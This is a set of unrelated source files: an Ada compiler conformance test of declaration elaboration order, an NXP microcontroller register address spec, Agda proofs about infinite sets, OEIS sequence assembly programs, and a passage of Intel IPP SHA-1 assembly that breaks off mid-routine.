-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT OBJECT DECLARATIONS ARE ELABORATED IN THE ORDER OF THEIR
-- OCCURRENCE, I.E., THAT EXPRESSIONS ASSOCIATED WITH ONE DECLARATION
-- (INCLUDING DEFAULT EXPRESSIONS, IF APPROPRIATE) ARE EVALUATED BEFORE
-- ANY EXPRESSION BELONGING TO THE NEXT DECLARATION. ALSO, CHECK THAT
-- EXPRESSIONS IN THE SUBTYPE INDICATION OR THE CONSTRAINED ARRAY
-- DEFINITION ARE EVALUATED BEFORE ANY INITIALIZATION EXPRESSIONS ARE
-- EVALUATED.
-- R.WILLIAMS 9/24/86
WITH REPORT; USE REPORT;
PROCEDURE C32107A IS
BUMP : INTEGER := 0;
ORDER_CHECK : INTEGER;
G1, H1, I1 : INTEGER;
FIRST_CALL : BOOLEAN := TRUE;
TYPE ARR1 IS ARRAY (POSITIVE RANGE <>) OF INTEGER;
TYPE ARR1_NAME IS ACCESS ARR1;
TYPE ARR2 IS ARRAY (POSITIVE RANGE <>, POSITIVE RANGE <>) OF
INTEGER;
TYPE REC (D : INTEGER) IS
RECORD
COMP : INTEGER;
END RECORD;
TYPE REC_NAME IS ACCESS REC;
FUNCTION F RETURN INTEGER IS
BEGIN
BUMP := BUMP + 1;
RETURN BUMP;
END F;
FUNCTION G RETURN INTEGER IS
BEGIN
BUMP := BUMP + 1;
G1 := BUMP;
RETURN BUMP;
END G;
FUNCTION H RETURN INTEGER IS
BEGIN
BUMP := BUMP + 1;
H1 := BUMP;
RETURN BUMP;
END H;
FUNCTION I RETURN INTEGER IS
BEGIN
IF FIRST_CALL THEN
BUMP := BUMP + 1;
I1 := BUMP;
FIRST_CALL := FALSE;
END IF;
RETURN I1;
END I;
BEGIN
TEST ( "C32107A", "CHECK THAT OBJECT DECLARATIONS ARE " &
"ELABORATED IN THE ORDER OF THEIR " &
"OCCURRENCE, I.E., THAT EXPRESSIONS " &
"ASSOCIATED WITH ONE DECLARATION (INCLUDING " &
"DEFAULT EXPRESSIONS, IF APPROPRIATE) ARE " &
"EVALUATED BEFORE ANY EXPRESSION BELONGING " &
"TO THE NEXT DECLARATION. ALSO, CHECK THAT " &
"EXPRESSIONS IN THE SUBTYPE INDICATION OR " &
"THE CONSTRAINED ARRAY DEFINITION ARE " &
"EVALUATED BEFORE ANY INITIALIZATION " &
"EXPRESSIONS ARE EVALUATED" );
DECLARE -- (A).
I1 : INTEGER := 10000 * F;
A1 : CONSTANT ARRAY (1 .. H) OF REC (G * 100) :=
(1 .. H1 => (G1 * 100, I * 10));
I2 : CONSTANT INTEGER := F * 1000;
BEGIN
ORDER_CHECK := I1 + I2 + A1'LAST + A1 (1).D + A1 (1).COMP;
IF ORDER_CHECK = 15243 OR ORDER_CHECK = 15342 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (A)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 15343 OR " &
"15242 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (A)" );
END IF;
END; -- (A).
BUMP := 0;
DECLARE -- (B).
A : ARR2 (1 .. F, 1 .. F * 10);
R : REC (G * 100) := (G1 * 100, F * 1000);
I : INTEGER RANGE 1 .. H;
S : REC (F * 10);
BEGIN
ORDER_CHECK :=
A'LAST (1) + A'LAST (2) + R.D + R.COMP;
IF (H1 + S.D = 65) AND
(ORDER_CHECK = 4321 OR ORDER_CHECK = 4312) THEN
COMMENT ( "ORDER_CHECK HAS VALUE 65 " &
INTEGER'IMAGE (ORDER_CHECK) & " - (B)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 65 4321 OR " &
"65 4312 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (H1 + S.D) &
INTEGER'IMAGE (ORDER_CHECK) & " - (B)" );
END IF;
END; -- (B).
BUMP := 0;
DECLARE -- (C).
I1 : CONSTANT INTEGER RANGE 1 .. G * 10 := F;
A1 : ARRAY (1 .. F * 100) OF INTEGER RANGE 1 .. H * 1000;
BEGIN
ORDER_CHECK := I1 + (G1 * 10) + A1'LAST + (H1 * 1000);
IF ORDER_CHECK = 4312 OR ORDER_CHECK = 3412 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (C)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4312 OR " &
"3412 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (C)" );
END IF;
END; -- (C).
BUMP := 0;
FIRST_CALL := TRUE;
DECLARE -- (D).
A1 : ARRAY (1 .. G) OF REC (H * 10000) :=
(1 .. G1 => (H1 * 10000, I * 100));
R1 : CONSTANT REC := (F * 1000, F * 10);
BEGIN
ORDER_CHECK :=
A1'LAST + A1 (1).D + A1 (1).COMP + R1.D + R1.COMP;
IF ORDER_CHECK = 25341 OR ORDER_CHECK = 24351 OR
ORDER_CHECK = 15342 OR ORDER_CHECK = 14352 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (D)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 25341, " &
"24351, 15342 OR 14352 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (D)" );
END IF;
END; -- (D).
BUMP := 0;
DECLARE -- (E).
A1 : CONSTANT ARR1_NAME := NEW ARR1' (1 .. F => F * 10);
R1 : REC_NAME (H * 100) := NEW REC'(H1 * 100, F * 1000);
BEGIN
ORDER_CHECK := A1.ALL'LAST + A1.ALL (1) + R1.D + R1.COMP;
IF ORDER_CHECK /= 4321 THEN
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4321 " &
"-- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (E)" );
END IF;
END; -- (E).
BUMP := 0;
FIRST_CALL := TRUE;
DECLARE -- (F).
A1 : CONSTANT ARRAY (1 .. G) OF INTEGER RANGE 1 .. H * 100 :=
(1 .. G1 => I * 10);
A2 : ARR1 (1 .. F * 1000);
BEGIN
ORDER_CHECK :=
A1'LAST + (H1 * 100) + A1 (1) + A2'LAST;
IF ORDER_CHECK = 4231 OR ORDER_CHECK = 4132 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (F)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4231 OR " &
"4132 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (F)" );
END IF;
END; -- (F).
BUMP := 0;
DECLARE -- (G).
A1 : ARR1_NAME (1 .. G) := NEW ARR1 (1 .. G1);
R1 : CONSTANT REC_NAME (H * 10) :=
NEW REC'(H1 * 10, F * 100);
BEGIN
ORDER_CHECK := A1.ALL'LAST + R1.D + R1.COMP;
IF ORDER_CHECK /= 321 THEN
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 321 OR " &
"-- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (G)" );
END IF;
END; -- (G).
BUMP := 0;
DECLARE -- (H).
TYPE REC (D : INTEGER := F) IS
RECORD
COMP : INTEGER := F * 10;
END RECORD;
R1 : REC;
R2 : REC (G * 100) := (G1 * 100, F * 1000);
BEGIN
ORDER_CHECK := R1.D + R1.COMP + R2.D + R2.COMP;
IF ORDER_CHECK = 4321 OR ORDER_CHECK = 4312 OR
ORDER_CHECK = 3421 OR ORDER_CHECK = 3412 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (H)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4321, " &
"4312, 3421, OR 3412 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (H)" );
END IF;
END; -- (H).
BUMP := 0;
DECLARE -- (I).
TYPE REC2 (D1, D2 : INTEGER) IS
RECORD
COMP : INTEGER;
END RECORD;
R1 : REC2 (G * 1000, H * 10000) :=
(G1 * 1000, H1 * 10000, F * 100);
R2 : REC2 (F, F * 10);
BEGIN
ORDER_CHECK := R1.D1 + R1.D2 + R1.COMP + R2.D1 + R2.D2;
IF ORDER_CHECK = 21354 OR ORDER_CHECK = 21345 OR
ORDER_CHECK = 12345 OR ORDER_CHECK = 12354 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (I)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 21354, " &
"21345, 12354, OR 12345 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (I)" );
END IF;
END; -- (I).
BUMP := 0;
DECLARE -- (J).
PACKAGE P IS
TYPE PRIV (D : INTEGER) IS PRIVATE;
P1 : CONSTANT PRIV;
P2 : CONSTANT PRIV;
FUNCTION GET_A (P : PRIV) RETURN INTEGER;
PRIVATE
TYPE PRIV (D : INTEGER) IS
RECORD
COMP : INTEGER;
END RECORD;
P1 : CONSTANT PRIV := (F , F * 10);
P2 : CONSTANT PRIV := (F * 100, F * 1000);
END P;
PACKAGE BODY P IS
FUNCTION GET_A (P : PRIV) RETURN INTEGER IS
BEGIN
RETURN P.COMP;
END GET_A;
END P;
USE P;
BEGIN
ORDER_CHECK := P1.D + GET_A (P1) + P2.D + GET_A (P2);
IF ORDER_CHECK = 4321 OR ORDER_CHECK = 4312 OR
ORDER_CHECK = 3412 OR ORDER_CHECK = 3421 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (J)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4321, " &
"4312, 3421, OR 3412 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (J)" );
END IF;
END; -- (J).
BUMP := 0;
DECLARE -- (K).
PACKAGE P IS
TYPE PRIV (D1, D2 : INTEGER) IS PRIVATE;
PRIVATE
TYPE PRIV (D1, D2 : INTEGER) IS
RECORD
NULL;
END RECORD;
END P;
USE P;
P1 : PRIV (F, F * 10);
P2 : PRIV (F * 100, F * 1000);
BEGIN
ORDER_CHECK := P1.D1 + P1.D2 + P2.D1 + P2.D2;
IF ORDER_CHECK = 4321 OR ORDER_CHECK = 4312 OR
ORDER_CHECK = 3412 OR ORDER_CHECK = 3421 THEN
COMMENT ( "ORDER_CHECK HAS VALUE " &
INTEGER'IMAGE (ORDER_CHECK) & " - (K)" );
ELSE
FAILED ( "OBJECTS NOT ELABORATED IN PROPER ORDER " &
"VALUE OF ORDER_CHECK SHOULD BE 4321, 4312, " &
"3421, OR 3412 -- ACTUAL VALUE IS " &
INTEGER'IMAGE (ORDER_CHECK) & " - (K)" );
END IF;
END; -- (K).
RESULT;
END C32107A;
|
arch/ARM/NXP/svd/lpc55s6x/nxp_svd.ads | morbos/Ada_Drivers_Library | 2 | 29430 | <gh_stars>1-10
-- Copyright 2016-2019 NXP
-- All rights reserved.SPDX-License-Identifier: BSD-3-Clause
-- This spec has been automatically generated from LPC55S6x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
-- LPC55S69JBD100,LPC55S69JBD64,LPC55S69JEV98,LPC55S66JBD100,LPC55S66JBD64,LPC55S66JEV98
package NXP_SVD is
pragma Preelaborate;
--------------------
-- Base addresses --
--------------------
FLASH_CFPA0_Base : constant System.Address :=
System'To_Address (16#9E000#);
FLASH_CFPA_SCRATCH_Base : constant System.Address :=
System'To_Address (16#9DE00#);
FLASH_CFPA1_Base : constant System.Address :=
System'To_Address (16#9E200#);
FLASH_CMPA_Base : constant System.Address :=
System'To_Address (16#9E400#);
FLASH_KEY_STORE_Base : constant System.Address :=
System'To_Address (16#9E600#);
SYSCON_Base : constant System.Address :=
System'To_Address (16#40000000#);
IOCON_Base : constant System.Address :=
System'To_Address (16#40001000#);
GINT0_Base : constant System.Address :=
System'To_Address (16#40002000#);
GINT1_Base : constant System.Address :=
System'To_Address (16#40003000#);
PINT_Base : constant System.Address :=
System'To_Address (16#40004000#);
SECPINT_Base : constant System.Address :=
System'To_Address (16#40005000#);
INPUTMUX_Base : constant System.Address :=
System'To_Address (16#40006000#);
CTIMER0_Base : constant System.Address :=
System'To_Address (16#40008000#);
CTIMER1_Base : constant System.Address :=
System'To_Address (16#40009000#);
CTIMER2_Base : constant System.Address :=
System'To_Address (16#40028000#);
CTIMER3_Base : constant System.Address :=
System'To_Address (16#40029000#);
CTIMER4_Base : constant System.Address :=
System'To_Address (16#4002A000#);
WWDT_Base : constant System.Address :=
System'To_Address (16#4000C000#);
MRT0_Base : constant System.Address :=
System'To_Address (16#4000D000#);
UTICK0_Base : constant System.Address :=
System'To_Address (16#4000E000#);
ANACTRL_Base : constant System.Address :=
System'To_Address (16#40013000#);
PMC_Base : constant System.Address :=
System'To_Address (16#40020000#);
SYSCTL_Base : constant System.Address :=
System'To_Address (16#40023000#);
RTC_Base : constant System.Address :=
System'To_Address (16#4002C000#);
OSTIMER_Base : constant System.Address :=
System'To_Address (16#4002D000#);
FLASH_Base : constant System.Address :=
System'To_Address (16#40034000#);
PRINCE_Base : constant System.Address :=
System'To_Address (16#40035000#);
USBPHY_Base : constant System.Address :=
System'To_Address (16#40038000#);
RNG_Base : constant System.Address :=
System'To_Address (16#4003A000#);
PUF_Base : constant System.Address :=
System'To_Address (16#4003B000#);
PLU_Base : constant System.Address :=
System'To_Address (16#4003D000#);
DMA0_Base : constant System.Address :=
System'To_Address (16#40082000#);
DMA1_Base : constant System.Address :=
System'To_Address (16#400A7000#);
USB0_Base : constant System.Address :=
System'To_Address (16#40084000#);
SCT0_Base : constant System.Address :=
System'To_Address (16#40085000#);
FLEXCOMM0_Base : constant System.Address :=
System'To_Address (16#40086000#);
FLEXCOMM1_Base : constant System.Address :=
System'To_Address (16#40087000#);
FLEXCOMM2_Base : constant System.Address :=
System'To_Address (16#40088000#);
FLEXCOMM3_Base : constant System.Address :=
System'To_Address (16#40089000#);
FLEXCOMM4_Base : constant System.Address :=
System'To_Address (16#4008A000#);
FLEXCOMM5_Base : constant System.Address :=
System'To_Address (16#40096000#);
FLEXCOMM6_Base : constant System.Address :=
System'To_Address (16#40097000#);
FLEXCOMM7_Base : constant System.Address :=
System'To_Address (16#40098000#);
FLEXCOMM8_Base : constant System.Address :=
System'To_Address (16#4009F000#);
I2C0_Base : constant System.Address :=
System'To_Address (16#40086000#);
I2C1_Base : constant System.Address :=
System'To_Address (16#40087000#);
I2C2_Base : constant System.Address :=
System'To_Address (16#40088000#);
I2C3_Base : constant System.Address :=
System'To_Address (16#40089000#);
I2C4_Base : constant System.Address :=
System'To_Address (16#4008A000#);
I2C5_Base : constant System.Address :=
System'To_Address (16#40096000#);
I2C6_Base : constant System.Address :=
System'To_Address (16#40097000#);
I2C7_Base : constant System.Address :=
System'To_Address (16#40098000#);
I2S0_Base : constant System.Address :=
System'To_Address (16#40086000#);
I2S1_Base : constant System.Address :=
System'To_Address (16#40087000#);
I2S2_Base : constant System.Address :=
System'To_Address (16#40088000#);
I2S3_Base : constant System.Address :=
System'To_Address (16#40089000#);
I2S4_Base : constant System.Address :=
System'To_Address (16#4008A000#);
I2S5_Base : constant System.Address :=
System'To_Address (16#40096000#);
I2S6_Base : constant System.Address :=
System'To_Address (16#40097000#);
I2S7_Base : constant System.Address :=
System'To_Address (16#40098000#);
SPI0_Base : constant System.Address :=
System'To_Address (16#40086000#);
SPI1_Base : constant System.Address :=
System'To_Address (16#40087000#);
SPI2_Base : constant System.Address :=
System'To_Address (16#40088000#);
SPI3_Base : constant System.Address :=
System'To_Address (16#40089000#);
SPI4_Base : constant System.Address :=
System'To_Address (16#4008A000#);
SPI5_Base : constant System.Address :=
System'To_Address (16#40096000#);
SPI6_Base : constant System.Address :=
System'To_Address (16#40097000#);
SPI7_Base : constant System.Address :=
System'To_Address (16#40098000#);
SPI8_Base : constant System.Address :=
System'To_Address (16#4009F000#);
USART0_Base : constant System.Address :=
System'To_Address (16#40086000#);
USART1_Base : constant System.Address :=
System'To_Address (16#40087000#);
USART2_Base : constant System.Address :=
System'To_Address (16#40088000#);
USART3_Base : constant System.Address :=
System'To_Address (16#40089000#);
USART4_Base : constant System.Address :=
System'To_Address (16#4008A000#);
USART5_Base : constant System.Address :=
System'To_Address (16#40096000#);
USART6_Base : constant System.Address :=
System'To_Address (16#40097000#);
USART7_Base : constant System.Address :=
System'To_Address (16#40098000#);
MAILBOX_Base : constant System.Address :=
System'To_Address (16#4008B000#);
GPIO_Base : constant System.Address :=
System'To_Address (16#4008C000#);
USBHSD_Base : constant System.Address :=
System'To_Address (16#40094000#);
CRC_ENGINE_Base : constant System.Address :=
System'To_Address (16#40095000#);
SDIF_Base : constant System.Address :=
System'To_Address (16#4009B000#);
DBGMAILBOX_Base : constant System.Address :=
System'To_Address (16#4009C000#);
ADC0_Base : constant System.Address :=
System'To_Address (16#400A0000#);
USBFSH_Base : constant System.Address :=
System'To_Address (16#400A2000#);
USBHSH_Base : constant System.Address :=
System'To_Address (16#400A3000#);
HASHCRYPT_Base : constant System.Address :=
System'To_Address (16#400A4000#);
CASPER_Base : constant System.Address :=
System'To_Address (16#400A5000#);
POWERQUAD_Base : constant System.Address :=
System'To_Address (16#400A6000#);
SECGPIO_Base : constant System.Address :=
System'To_Address (16#400A8000#);
AHB_SECURE_CTRL_Base : constant System.Address :=
System'To_Address (16#400AC000#);
end NXP_SVD;
|
Sets/Cardinality/Infinite/Examples.agda | Smaug123/agdaproofs | 4 | 6450 | <filename>Sets/Cardinality/Infinite/Examples.agda
{-# OPTIONS --safe --warning=error --without-K --guardedness #-}
open import Functions.Definition
open import Functions.Lemmas
open import LogicalFormulae
open import Numbers.Naturals.Definition
open import Numbers.Naturals.Order
open import Sets.FinSet.Definition
open import Sets.FinSet.Lemmas
open import Sets.Cardinality.Infinite.Definition
open import Sets.Cardinality.Finite.Lemmas
open import Numbers.Reals.Definition
open import Numbers.Rationals.Definition
open import Numbers.Integers.Definition
open import Sets.Cardinality.Infinite.Lemmas
open import Setoids.Setoids
module Sets.Cardinality.Infinite.Examples where
ℕIsInfinite : InfiniteSet ℕ
ℕIsInfinite n f bij = pigeonhole (le 0 refl) badInj
where
inv : ℕ → FinSet n
inv = Invertible.inverse (bijectionImpliesInvertible bij)
invInj : Injection inv
invInj = Bijection.inj (invertibleImpliesBijection (inverseIsInvertible (bijectionImpliesInvertible bij)))
bumpUp : FinSet n → FinSet (succ n)
bumpUp = intoSmaller (le 0 refl)
bumpUpInj : Injection bumpUp
bumpUpInj = intoSmallerInj (le 0 refl)
nextInj : Injection (toNat {succ n})
nextInj = finsetInjectIntoℕ {succ n}
bad : FinSet (succ n) → FinSet n
bad a = (inv (toNat a))
badInj : Injection bad
badInj = injComp nextInj invInj
ℝIsInfinite : DedekindInfiniteSet ℝ
DedekindInfiniteSet.inj ℝIsInfinite n = injectionR (injectionQ (nonneg n))
DedekindInfiniteSet.isInjection ℝIsInfinite {x} {y} pr = nonnegInjective (injectionQInjective (injectionRInjective pr))
|
programs/oeis/179/A179262.asm | neoneye/loda | 22 | 82630 | ; A179262: a(n) = 2*prime(n)^2 - 1.
; 7,17,49,97,241,337,577,721,1057,1681,1921,2737,3361,3697,4417,5617,6961,7441,8977,10081,10657,12481,13777,15841,18817,20401,21217,22897,23761,25537,32257,34321,37537,38641,44401,45601,49297,53137,55777,59857,64081,65521,72961,74497,77617,79201,89041,99457,103057,104881,108577,114241,116161,126001,132097,138337,144721,146881,153457,157921,160177,171697,188497,193441,195937,200977,219121,227137,240817,243601,249217,257761,269377,278257,287281,293377,302641,315217,321601,334561,351121,354481,371521,374977,385441,392497,403201,417697,425041,428737,436177,458881,474337,482161,498001,506017,518161,542881,547057,585361
seq $0,6005 ; The odd prime numbers together with 1.
pow $0,2
max $0,4
mul $0,2
sub $0,1
|
Structure/Function/Linear.agda | Lolirofle/stuff-in-agda | 6 | 10111 | module Structure.Function.Linear where
import Lvl
open import Logic
open import Logic.Propositional
open import Relator.Equals
open import Relator.Equals.Proofs
open import Type
-- TODO: Remove this
module _ {ℓ₁}{ℓ₂}{ℓ₃} {V₁ : Type{ℓ₁}} {V₂ : Type{ℓ₂}} {S : Type{ℓ₃}} where
record LinearMap (_+₁_ : V₁ → V₁ → V₁) (_⋅₁_ : S → V₁ → V₁) (_+₂_ : V₂ → V₂ → V₂) (_⋅₂_ : S → V₂ → V₂) (f : V₁ → V₂) : Stmt{ℓ₁ Lvl.⊔ ℓ₂ Lvl.⊔ ℓ₃} where
field
additivity : ∀{v₁ v₂ : V₁} → (f(v₁ +₁ v₂) ≡ f(v₁) +₂ f(v₂))
homogeneity1 : ∀{s : S} → ∀{v : V₁} → (f(s ⋅₁ v) ≡ s ⋅₂ f(v))
|
oeis/108/A108979.asm | neoneye/loda-programs | 11 | 12117 | <gh_stars>10-100
; A108979: Numbers n such that 31*n + 29 is prime.
; Submitted by <NAME>
; 0,8,12,14,18,24,32,50,60,62,68,78,84,90,98,102,104,144,150,162,164,168,188,192,194,200,204,222,230,234,248,252,260,272,278,302,318,320,330,332,342,354,362,368,384,390,402,404,410,420,428,432,440,468,474,498
mov $2,$0
add $2,6
pow $2,2
lpb $2
mov $3,$4
add $3,28
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
add $3,1
sub $2,$3
add $4,62
lpe
mov $0,$4
div $0,31
|
programs/oeis/131/A131474.asm | jmorken/loda | 1 | 12979 | <filename>programs/oeis/131/A131474.asm
; A131474: a(n) = ceiling(n/2)*ceiling(n^2/2).
; 0,1,2,10,16,39,54,100,128,205,250,366,432,595,686,904,1024,1305,1458,1810,2000,2431,2662,3180,3456,4069,4394,5110,5488,6315,6750,7696,8192,9265,9826,11034,11664,13015,13718,15220,16000,17661,18522,20350,21296,23299,24334,26520,27648,30025,31250,33826,35152,37935,39366,42364,43904,47125,48778,52230,54000,57691,59582,63520,65536,69729,71874,76330,78608,83335,85750,90756,93312,98605,101306,106894,109744,115635,118638,124840,128000,134521,137842,144690,148176,155359,159014,166540,170368,178245,182250,190486,194672,203275,207646,216624,221184,230545,235298,245050,250000,260151,265302,275860,281216,292189,297754,309150,314928,326755,332750,345016,351232,363945,370386,383554,390224,403855,410758,424860,432000,446581,453962,469030,476656,492219,500094,516160,524288,540865,549250,566346,574992,592615,601526,619684,628864,647565,657018,676270,686000,705811,715822,736200,746496,767449,778034,799570,810448,832575,843750,866476,877952,901285,913066,937014,949104,973675,986078,1011280,1024000,1049841,1062882,1089370,1102736,1129879,1143574,1171380,1185408,1213885,1228250,1257406,1272112,1301955,1317006,1347544,1362944,1394185,1409938,1441890,1458000,1490671,1507142,1540540,1557376,1591509,1608714,1643590,1661168,1696795,1714750,1751136,1769472,1806625,1825346,1863274,1882384,1921095,1940598,1980100,2000000,2040301,2060602,2101710,2122416,2164339,2185454,2228200,2249728,2293305,2315250,2359666,2382032,2427295,2450086,2496204,2519424,2566405,2590058,2637910,2662000,2710731,2735262,2784880,2809856,2860369,2885794,2937210,2963088,3015415,3041750,3094996,3121792,3175965,3203226,3258334,3286064,3342115,3370318,3427320,3456000,3513961,3543122,3602050,3631696,3691599,3721734,3782620,3813248,3875125
mov $2,$0
lpb $0
lpb $0
add $3,$0
add $4,$0
sub $0,1
lpe
lpb $2
sub $3,$2
trn $2,2
add $5,$4
lpe
sub $5,$3
add $1,$5
lpe
|
sources/ippcp/asm_intel64/pcpsha1nias.asm | ntyukaev/ipp-crypto | 30 | 90494 | <filename>sources/ippcp/asm_intel64/pcpsha1nias.asm
;===============================================================================
; Copyright 2015-2020 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Message block processing according to SHA-1
;
; Content:
; UpdateSHA1ni
;
;
%include "asmdefs.inc"
%include "ia_32e.inc"
%include "pcpvariant.inc"
%if (_ENABLE_ALG_SHA1_)
%if (_SHA_NI_ENABLING_ == _FEATURE_ON_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_)
;;%if (_IPP32E >= _IPP32E_Y8 )
segment .text align=IPP_ALIGN_FACTOR
align IPP_ALIGN_FACTOR
UPPER_DWORD_MASK \
DQ 00000000000000000h, 0ffffffff00000000h
PSHUFFLE_BYTE_FLIP_MASK \
DB 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
align IPP_ALIGN_FACTOR
;*****************************************************************************************
;* Purpose: Update internal digest according to message block
;*
;* void UpdateSHA1ni(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam)
;*
;*****************************************************************************************
%ifndef _VXWORKS
IPPASM UpdateSHA1ni,PUBLIC
%assign LOCAL_FRAME 16*2
USES_GPR rsi,rdi
USES_XMM xmm6,xmm7
COMP_ABI 4
%xdefine MBS_SHA1 (64) ; SHA-1 message block length (bytes)
%xdefine HASH_PTR rdi ; 1st arg
%xdefine MSG_PTR rsi ; 2nd arg
%xdefine MSG_LEN rdx ; 3rd arg
%xdefine ABCD xmm0
%xdefine E0 xmm1 ; Need two E's b/c they ping pong
%xdefine E1 xmm2
%xdefine MSG0 xmm3
%xdefine MSG1 xmm4
%xdefine MSG2 xmm5
%xdefine MSG3 xmm6
%xdefine SHUF_MASK xmm7
;
; stack frame
;
%xdefine abcd_save rsp
%xdefine e_save rsp+16
movsxd MSG_LEN, edx ; expand mLen
test MSG_LEN, MSG_LEN
jz .quit
;; load initial hash values
movdqu ABCD, oword [HASH_PTR]
pinsrd E0, dword [HASH_PTR+16], 3
pand E0, oword [rel UPPER_DWORD_MASK]
pshufd ABCD, ABCD, 01Bh
movdqa SHUF_MASK, oword [rel PSHUFFLE_BYTE_FLIP_MASK]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.sha1_block_loop:
movdqa oword [abcd_save], ABCD
movdqa oword [e_save], E0
;; rounds 0-3
movdqu MSG0, oword [MSG_PTR +0*16]
pshufb MSG0, SHUF_MASK
paddd E0, MSG0
movdqa E1, ABCD
sha1rnds4 ABCD, E0, 0
;movdqu oword [rcx+16*0], ABCD
;; rounds 4-7
movdqu MSG1, oword [MSG_PTR +1*16]
pshufb MSG1, SHUF_MASK
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1rnds4 ABCD, E1, 0
sha1msg1 MSG0, MSG1
;movdqu oword [rcx+16*1], ABCD
;; rounds 8-11
movdqu MSG2, oword [MSG_PTR +2*16]
pshufb MSG2, SHUF_MASK
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1rnds4 ABCD, E0, 0
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*2], ABCD
;; rounds 12-15
movdqu MSG3, oword [MSG_PTR +3*16]
pshufb MSG3, SHUF_MASK
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 0
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword [rcx+16*3], ABCD
;; rounds 16-19
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 0
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword [rcx+16*4], ABCD
;; rounds 20-23
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword [rcx+16*5], ABCD
;; rounds 24-27
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 1
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword [rcx+16*6], ABCD
;; rounds 28-31
